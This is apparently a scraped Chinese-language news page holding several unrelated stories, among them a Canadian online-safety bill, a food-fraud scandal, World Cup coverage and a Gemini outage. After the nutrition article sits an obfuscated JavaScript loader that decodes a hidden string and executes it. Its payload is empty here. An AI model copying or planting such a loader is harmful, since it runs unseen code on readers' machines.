未来可能采用的方法包括：身分证件验证、第三方年龄验证服务、生物识别技术和家长同意机制。 相关新闻：卑诗学校引入AI聊天机器人  有家长发起签名请愿表达反对 相关新闻：【星岛评论】禁AI非教育焦点  培育成熟专业素养才是关键 除了社群媒体外，法案也首次将AI聊天机器人纳入数位安全法规范围。包括：ChatGPT、其他对话式人工智慧服务和AI虚拟助理平台等。 虽然AI聊天机器人不受16岁年龄限制约束，但业者将被要求承担“负责任运作义务”。 法案规定，聊天机器人必须主动降低有害内容风险，禁止出现以下行为：鼓励犯罪、教唆暴力行为、怂恿自残或自杀和协助伤害他人。 此外，AI服务提供商还必须建立“危机介入机制”。若系统侦测使用者表达自杀意图、自我伤害倾向或伤害他人计划，业者必须采取适当措施介入，例如提供求助资源、危机支援资讯或其他保护措施。 法案特别强调，AI服务供应商对保护儿童也负有法律责任。 未来所有受监管的平台都必须向数位安全委员会提交“数位安全计划”（Digital Safety Plan），说明如何做好保护未成年人以及预防网络霸凌等问题。 若未达标准，平台可能面临监管处分甚至罚款。 禁止16岁以下使用社群媒体的诉求近年获得加拿大家长团体、心理健康专家及儿童保护组织支持。但科技业者及部分数位权利团体则担忧，过度严格的年龄验证制度可能涉及个人隐私及资料保护问题。 若法案获国会通过，加拿大将成为全球少数针对社群媒体及AI聊天机器人同时建立全面儿童保护制度的国家之一。 v01  

【星岛讯】卑诗省府表示，正更换位于菲沙河谷、邻近兰里的CPKC铁路高架桥，以改善一号高速公路上一个主要交通瓶颈，使民众减少塞车时间，更快到达目的地。 省府已向总部设于卑诗省的Norland Kingston General Partnership批出一份价值7,420万元的合约，更换216街与264街之间的现有铁路高架桥。这项工程是菲沙河谷一号公路走廊改善计划的一部分，将配合扩阔一号公路，改善货物流动，并提升区内交通安全及可靠性。 新高架桥的桥底通行高度将由现时的4.4米增至5.2米，方便商用车辆更安全通过。工程亦会为1号公路增设行车线预留空间，包括在双方向新增HOV专用线。该地点过往曾发生车辆撞击高架桥事故。增加桥底通行高度将有助提升安全，并减低高架桥受损的风险。 高架桥更换工程预计于2026年夏季展开。工程完成后，这段一号公路的交通将更顺畅，让民众使用这条全省最繁忙交通路线之一时，更方便可靠。 菲沙河谷一号公路走廊改善计划将长远改善区内交通，支援不断增长的社区、加强货物流动，并提升安全及可靠性。 更换CPKC铁路高架桥是第二阶段改善计划216街至264街之间工程的一部分。该阶段工程获联邦政府及卑诗省政府合共投资约4.8亿元。 项目效益包括纾缓交通挤塞，提升行车时间的可靠性；让途经该路段的民众出行更安全；改善货物及商业车辆流动效率；在双方向新增HOV专用线，为民众提供更多快捷可靠的交通选择；改善公路基础设施，配合菲沙河谷的发展。 驾驶人士请遵守所有施工标志，留意路旁工作人员，并查阅DriveBC以获取最新交通资讯。 (图：省府提供) V02

北京有熟食女摊贩“鹅腿阿姨”陈秀凤，以“良心”人设，走红于北大及清华大学周边，成为学生宵夜名物。人红后心雄的陈秀凤，近期将生意拓展到北京国贸商圈后，被质疑鹅肉发绿吃下肚泻不适，“鹅腿阿姨”更自揭一直用便宜的鸭腿冒充鹅腿出售，令陈秀凤迅即陷入空前诚信危机，事件一度占据10日微博热搜首三位。 辩称葱汁醃制始发绿 之后，有消费者分别在网上质疑“鹅腿”来源，以及指“鹅肉”发绿，吃后有肚泻等情况。 鹅腿阿姨发帖，向公众解释事件。微信@鹅腿阿姨   “鹅腿阿姨”瞒卖鸭腿成为热搜。   “鹅腿阿姨”陈秀凤走红后，被视为底层奋斗代表。   “鹅腿阿姨”走红北京高校学生圈多年。   “鹅腿阿姨”走红北京高校学生圈多年。   “鹅腿阿姨”陷入诚信及食安风波。   “鹅腿阿姨”陷入诚信及食安风波。   “鹅腿阿姨”陷入诚信及食安风波。   “鹅腿阿姨”走红北京高校学生圈多年。   “鹅腿阿姨”走红北京高校学生圈多年。   “鹅腿阿姨”走红北京高校学生圈多年。   “鹅腿阿姨”陷入诚信及食安风波。   “鹅腿阿姨”陷入诚信及食安风波。   “鹅腿阿姨”走红北京高校学生圈多年。   针对食品肉色发绿，“鹅腿阿姨”曾回复“是葱汁榨汁醃制浸泡造成的，‘纯绿色食品’，无任何危害，无任何加入剂，全部当天现做，请放心使用”。 网民对于“鹅腿阿姨”诚信翻车反应激烈及两极，“海淀的学生多年没发现，一到国贸就被揭穿”、“朝阳群众果然没让人失望”、“鸭腿当鹅腿，虚假宣传十多年”、“大学生真的是最容易被忽悠的群体”、“大鸭腿2块，鹅腿7元-9元，这个差价，什么鬼都动心”、“20几岁连鸭肉还是鹅肉都吃不来吗？”。 学生：不介意，吃的是情怀 爆出公关灾难后，陈秀凤向内媒表示，刚开始卖的确实是鹅腿，后来因进不到鹅腿食材，便改卖鸭腿。但具体何时改鹅为鸭，陈则未有说明。事件现时已被市监告介入调查。 6月9日，网传图片显示，“鹅腿阿姨”在一个团购群内发布群公告，称因被举报，“正在配合相关部门工作”。她称：“原材料是鸭腿，以后都会给大家写清楚，介意请勿下单，鹅腿阿姨叫了十几年了，不存在欺诈等行为。” 陈秀凤是江苏人，十多年前与丈夫开始在北京高校周边摆摊卖烧烤，吸引许多清、北大学生买来做宵夜。2023年，因“清北学生争抢鹅腿阿姨”走红网络，2024年更获邀出席北大一个妇女节论坛，成为其中一名发言嘉宾。  

墨西哥 VS 南非Viu99台周五凌晨3:00直播推介：让球 主胜 主办国之一的墨西哥，首战在海拔逾两千米的墨西哥城作赛，占尽地利，加上整体实力远胜对手南非。墨军老将射手鲁尔占美尼斯依然充满战力，上仗热身赛仍有入球进帐，状态大勇，足以领军在2026年世界杯揭幕战顺利取开红门，推介让球一球/球半“主胜”。 世界杯历史上，主办国凭主场之利往往能发挥超水准表现，墨西哥今次不仅坐拥主场，比赛地点墨西哥城更处于高海拔地带，高原环境将大大提升体能优势。再者，身为中北美洲一哥的墨军，在A组中整体实力亦最强，而且2026年内的表现极为稳定，至今各赛合共8场保持不败，期间更只失两球滴水不漏，表现可谓攻守兼备。 南非难保清白之身 墨西哥老牌射手鲁尔占美尼斯尽管已年届35岁，今季为富咸于英超仍交出9个联赛入球的稳定表现，其强大的身体对抗性和丰富的大赛经验，绝对是球队进攻上重要的桥头堡。日前对塞尔维亚的最后一场热身赛中，墨西哥以5:1大胜，占美尼斯亦取得入球，展现出极佳的竞技状态，势必成为客军防线的心腹大患。 南非自2010年以主办国身分参战后，已阔别世界杯决赛周16年，近年表现平平无奇。南非在最近9场比赛中仅有两场能够保持清白之身，今仗面对主场气势如虹的墨西哥，要在高原力保不失实属天方夜谭。马高

【星岛综合报道】加拿大两个主办世界杯的城市卫生官员警告游客，当地非法毒品供应可能存在潜在风险，与他们在国内接触到的毒品可能截然不同。 温哥华7场比赛的组织者在比赛开始前发布了一份“出行须知”，其中部分内容警告游客，自2016年卑诗省宣布进入公共卫生紧急状态以来，该省的非法毒品供应已导致超过16,000人死亡。 文件指出：“温哥华的非法毒品供应难以预测，可能比游客在其他国家或地区接触到的毒品更加危险。即使是极少量的非法物质——包括鸦片类药物、可卡因、摇头丸/MDMA、氯胺酮、假药或其他毒品——也可能含有芬太尼或其他有毒污染物，可能导致过量服用甚至死亡。” 卑诗疾病控制中心(BC Centre for Disease Control)发布了奥运风险评估报告，将药物滥用(包括过量服用有毒药物及饮酒)造成的危害列为“中等风险”，并称毒品供应“毒性很大且难以预测”。 多伦多公共卫生局发言人格里菲斯(Dane Griffiths)在声明中表示，多伦多不受监管的毒品供应“毒性极强且难以预测，可能与游客来源地的情况有所不同”。 他表示，该机构正与市政府及其他机构合作，将世界杯期间的公共卫生放在首位，以监测药物滥用趋势并支持减害服务。 卫生局敦促两座城市药物(substances)使用者从小剂量开始，缓慢增加用量，提前使用药物检测服务，随身携带纳洛酮，并在有人过量使用时拨打911。 多伦多公共卫生局指出，根据加拿大《协助药物过量者法案》(Good Samaritan Drug Overdose Act)，为自己或他人药物过量寻求帮助的人，以及现场其他人员，都不会因持有或使用毒品而被起诉。 温哥华沿岸卫生局副首席卫生官莱西申医生(Dr. Mark Lysyshyn)表示，该机构将在社群媒体上进行宣传活动，提醒人们注意相关风险。 他说：“过去10年，我们一直处于这场公卫危机之中。来自欧洲及其他一些没有类似问题的地区的人们可能对此并不了解，所以我们希望让大家知道这一点。” 然而，莱西申指出，总体而言，最容易受到毒品供应危害的人群仍然居住在卑诗省。“卑诗省居民，他们的死亡率仍然居高不下。前往卑诗省的旅行者因药物过量死亡的情况并不常见。” 莱西申表示，过度饮酒更令卫生官员担忧。“世界杯赛事往往伴随着大量的饮酒。在人群中饮酒会导致暴力事件，不仅在人群聚集的场合，也可能导致其他类型的暴力事件。” 过量用药预防协会(Overdose Prevention Society)行政总裁布莱斯(Sarah Blyth)表示，即使是来自毒品供应紧张地区的人们也应该提高警惕，因为致命毒品的种类可能因省份和国家而异。该协会在温市中心东区经营一个受监管的注射点，并提供药物检测等服务。 她说：“如果它在一个城市是致命的，那么在另一个城市可能会以不同的方式致命，所以人们真的，当他们出去时，他们必须明白，如果他们拿到药丸，人们可能会因为服用药丸而死在这里。” 布莱斯说，这种对重大事件的教育和认识很重要。她不确定她的组织是否会看到越来越多的人想要对其药物进行污染物检测，但他们准备好提供帮助。 “我希望人们在决定使用药物时能够对其进行测试，否则不安全。”她说。 流行病学家、安省药物政策研究网络首席研究员戈麦斯(Tara Gomes)表示，多伦多的毒品供应以芬太尼为主，而其他物质，例如兽用镇静剂，也日益增加。 多伦多6场世界杯比赛的首场定6月12日开幕，而就在前一天，安省将停止为剩余的8个公共资助的受监管吸毒场所提供资金。 戈麦斯表示，她预计这一“糟糕的时机”将导致吸毒者流离失所，因为庆祝活动会造成城市拥挤。 戈麦斯说：“在整个世界杯期间以及未来，吸毒者的安全及其风险水平可能会受到巨大且毁灭性的影响。” 她表示，她担心来自世界各地的盛大庆祝会给本已“不堪重负”的城市减害计划带来更大压力。 (图：BCCDC、省府资料图片) V11

星期一返工返学总觉得疲倦乏力、频频打瞌睡？想摆脱“Monday Blue”，有营养师教补充5大营养素，也助抵抗疲劳感，并附上一日醒脑餐单，更也助稳定血糖，从早到晚保持电力满格。 营养师教补充5大营养素 抗疲劳提升专注力 营养师杨斯涵在其Facebook专页发文指，周末假期刚过，星期一的早晨总让人感到特别疲倦、提不起劲，“Monday Blue”绝对是许多上班族与学生的共同心声。其实，想要摆脱昏沉、找回活力，除了调整作息外，吃对食物更是关键。大脑和身体要顺利运作，必须有充足的燃料与润滑剂，只要掌握以下5大关键营养素，便能从早到晚维持电力满格： 补充5大营养素抗疲劳： 维他命B杂：如身体的发电机，能帮助将吃进去的营养顺利转换成能量。推荐进食黑米、燕麦、瘦肉、鸡蛋。 优质蛋白质：不仅是构成身体的基础，更是合成多巴胺的重要原料，有助提升专注力，让思绪更清晰。可进食鸡肉、鱼肉、豆腐、豆浆。 铁质与维他命C：铁质负责运送氧气至全身，缺铁极易感到疲倦；搭配维他命C能大幅促进铁质吸收，是抗疲劳的黄金组合。建议进食红肉、菠菜，饭后配搭番石榴或奇异果。 镁：参与身体的神经传导与能量代谢，有助放松紧绷的神经，减缓压力感。建议选择进食坚果、深绿色蔬菜、黑朱古力。 水分：轻微脱水已足以令人感到疲倦及头痛，补足水分是维持人体新陈代谢最基本且重要的一环。推荐喝白开水、无糖茶、柠檬水。 一日醒脑餐单 稳定血糖告别Monday Blue 除了了解关键营养素，杨斯涵更为大家设计了一份专属的一日餐单，照着吃有助稳定血糖，全日保持充沛精力： 07:00-08:00 早餐： 早餐是启动一天的关键，应避免摄取过多精制糖导致饭后昏睡，推介烤番薯配搭菠菜烘蛋和无糖豆浆。番薯能提供优质复合性碳水化合物；菠菜烘蛋与豆浆则补充优质蛋白质及铁质，能温和唤醒大脑 ，提供平稳的能量。 12:00-13:00午餐： 午餐吃得对，下午才不会频频打瞌睡，重点在于稳定血糖，推荐糙米饭配搭烤三文鱼和烤蔬菜。舍弃白饭改吃糙米，配搭富含Omega-3的三文鱼及高纤蔬菜，这种低GI组合能确保下午精力平稳输出。 14:00-15:00下午茶： 当感到嘴馋或疲惫时，请放下高糖手摇饮品及甜品，建议选择混合坚果配搭乳酪和无糖绿茶。坚果的镁助神经放松，乳酪补充蛋白质，绿茶的微量咖啡因及茶胺酸则可温和提神并补充脑力。 18:00-19:00晚餐： 晚餐应以好消化、减轻肠胃负担为原则，为夜间睡眠修复作准备，推介南瓜配搭板豆腐和蚬肉丝瓜。南瓜为优质淀粉，配合好消化的植物性蛋白及富含水分的蚬肉丝瓜，清淡无负担，有助身体放松，提升睡眠质素。 她提醒，许多人经常感到疲倦，主因其实是水分摄取不足。她建议掌握以下3大喝水诀窍： 计算目标饮水量：每日应摄取“体重（公斤）x30至40cc”的水分（例如：60公斤成年人，每日约需饮用1800至2400cc）。 正确饮水技巧：谨记要小口慢慢喝，身体才能有效吸收水分。 增添水分风味：如果觉得清水太乏味，可以加入柠檬片或冲泡无糖茶，帮助自己更轻松地达成每日饮水目标。 资料来源：营养师杨斯涵 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();

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【星岛综合报道】距离世界杯赛事在温哥华开踢进入倒数计时，但最新数据显示，当地饭店订房率并未出现外界预期的爆满景象。尽管如此，卑诗省就业与经济发展厅长柯议伦 (Ravi Kahlon) 仍强调，温哥华在所有主办城市中表现最佳，预计赛事期间仍将带来大量旅客与经济效益。 根据美国饭店数据分析公司 CoStar Group 的统计，截至6月1日，温哥华世界杯首场比赛（澳洲对土耳其）当天的饭店入住率为57.4%，低于去年6月1日的71.6%。 另一场备受瞩目的比赛——加拿大对卡达赛事将于6月18日举行，但目前入住率仅50.3%，较去年同日的73.8%下降约三分之一。CoStar的数据还显示：温哥华7个比赛日中有5天入住率低于50%。 但柯议伦表示不应过度解读这些数字。他指出，CoStar的资料同时显示，温哥华目前仍是14个世界杯主办城市中饭店入住率最高的城市。 Kahlon表示：“这些空房情况并不罕见。我们过去举办大型国际活动时也曾出现类似情况，而接近赛事时往往会出现大量最后一刻的预订潮。” 旅游网站显示，温哥华市中心仍有四星级饭店客房可供预订，价格约350元起（截至上周六）。 他表示，7月2日和7月7日在温哥华举行的2场淘汰赛出现空房是可以理解的，因为目前还不知道参赛队伍。“许多球迷预测葡萄牙队可能会参赛，我们知道葡萄牙球迷会追随这支球队到任何地方。” 政府预测，世界杯将在未来5年内为加拿大带来约10亿元的GDP成长。 但卑诗省酒店协会上个月将世界杯前酒店空置率居高不下归咎于宣传讯息有缺陷，导致游客误以为所有房间都已订满。 协会呼吁，现在应该传递一个更简洁的信息：“温哥华已做好准备，房间充足，欢迎游客提前规划行程。”协会称，不该让游客觉得温哥华酒店住宿昂贵又难订。 该协会表示，温哥华市中心6月的饭店入住率比去年同期下降了约15%。 不仅温哥华入率低，多伦多情况目前也不好，至今6个比赛日中有4个比赛日的饭店入住率低于50%。 周五加拿大将在多伦多迎战波黑(Bosnia and Herzegovina)，进行小组赛首场比赛。当天多伦多的饭店入住率为55.5​​%，低于去年6月12日的67.9%。 图：温哥华市府 v01

原定成为史上首位执法世界杯决赛周的索马里籍球证阿坦（Omar Artan），早前持有效签证抵达美国时遭海关拒绝入境，被迫无缘今届世杯。国际足协（FIFA）主席恩芬天奴（Gianni Infantino）周三（10日）对此表示遗憾，但无奈坦言FIFA并非“世界之王”，无法干预各国签证决定。与此同时，梦碎的阿坦返回索马里首都摩加迪沙时，获数千民众英雄式欢迎，他矢言绝不放弃，誓要踏上来届世杯舞台。 恩芬天奴：FIFA无法掌控政府决策 世界杯开锣在即，恩芬天奴在赛前记者会上被问及阿坦及部分伊朗队后勤人员遭美国拒签或拒绝入境一事，是否意味FIFA对赛事“失去控制”。恩芬天奴回应指，阿坦的遭遇令人遗憾，FIFA会尝试沟通并寻求解决办法，但他强调：“我们必须尊重一个事实：FIFA只是一个体育组织，并非可以支配各国政府和警察力量的‘世界之王’，我们无法掌控一切。” 索马里世界杯球证遭美国拒入境 返国获数千民众英雄式迎接。路透社   恩芬天奴称索马里球证事件遗憾，但国际足协非世界之王无法掌控一切。 路透社   阿坦返回首都摩加迪沙时，获大批民众及官员到机场迎接。路透社   数千名球迷其后更在体育场举行欢迎仪式，将他视为国家英雄。路透社   数千名球迷涌入摩加迪沙体育场出席欢迎活动，现场响起爱国歌曲，民众高举国旗为阿坦喝采。路透社   数千名球迷涌入摩加迪沙体育场出席欢迎活动，现场响起爱国歌曲，民众高举国旗为阿坦喝采。路透社   阿坦表示，虽然未能参与今届世界杯，但不会放弃梦想。路透社   持有效签证被拒 阿坦感极度失望 阿坦于2025年当选非洲最佳男子球证，是该洲顶尖球证之一。他早前受访时透露，自己早前已透过大使馆获发赴美签证，证件绝对合法有效，但上周抵达迈阿密后，却被美国海关及边境保护局以未有公开说明的“背景审查疑虑”拒绝入境，其后更被剔出世杯执法名单。他直言对毕生最大心愿落空感到极度失望。 返国变国家英雄 总理赞赢得百万人心 不过，当阿坦周三（10日）返抵摩加迪沙时，却获数百名支持者挥舞国旗接机，警方需护送他前往贵宾区。其后更有数千名球迷涌入当地体育场为他举行欢迎仪式，全场高唱爱国歌曲。 索马里总理巴雷（Hamza Abdi Barre）亲自接见阿坦，并在社交平台赞扬他虽然未能踏上世杯赛场，但“已赢得数百万人的心，并在历史上留下名字”。阿坦向传媒及支持者承诺，未来一定会出现在世杯赛场上，并呼吁该国年轻人以国家为荣。 联合国吁检视移民政策 阿坦遭拒入境事件引发国际球坛广泛关注，外界质疑美国作为主办国之一，能否公平处理参赛人员的入境安排。据悉，索马里是美国政府最新旅行限制措施涵盖的近40个国家之一。联合国人权事务高级专员周三亦发声，呼吁各国尤其是美国应重新检视相关移民政策，避免影响国际体育赛事的正常运作。

Google旗下人工智能聊天机械人Gemini周三（10日）出现大规模服务异常，美国及英国等地用户陆续反映无法正常使用，部分人在输入指令时收到“Error Code 1076”及“Error Code 1099”等错误讯息，引发广泛关注。 根据网站Downdetector数据，相关故障报告于美东时间上午约6时（香港时间傍晚）开始急增。截至上午10时36分，全球已录得逾1,480宗用户回报，其中美国及英国均有数百宗个案，显示问题影响范围广泛。 不少用户在社交平台X发文表示，无论透过网页版或手机应用程式使用Gemini，均无法建立新对话或载入既有聊天记录。有Workspace企业帐户用户指出，即使未达使用配额上限，系统仍显示1076及1099错误码，导致服务无法运作。亦有用户表示问题已持续数小时未获解决。 Gemini是Google于2023年推出的生成式人工智能助手，已整合至Google搜寻、Workspace、One及Cloud等服务，可协助用户撰写文章、资料搜集、内容摘要、脑力激荡及图像生成等工作。 Google日前推出Gemini 3.5 Live Translate更新版本，强化即时语音翻译功能。Google尚未就今次故障原因作出说明，亦未公布预计修复时间。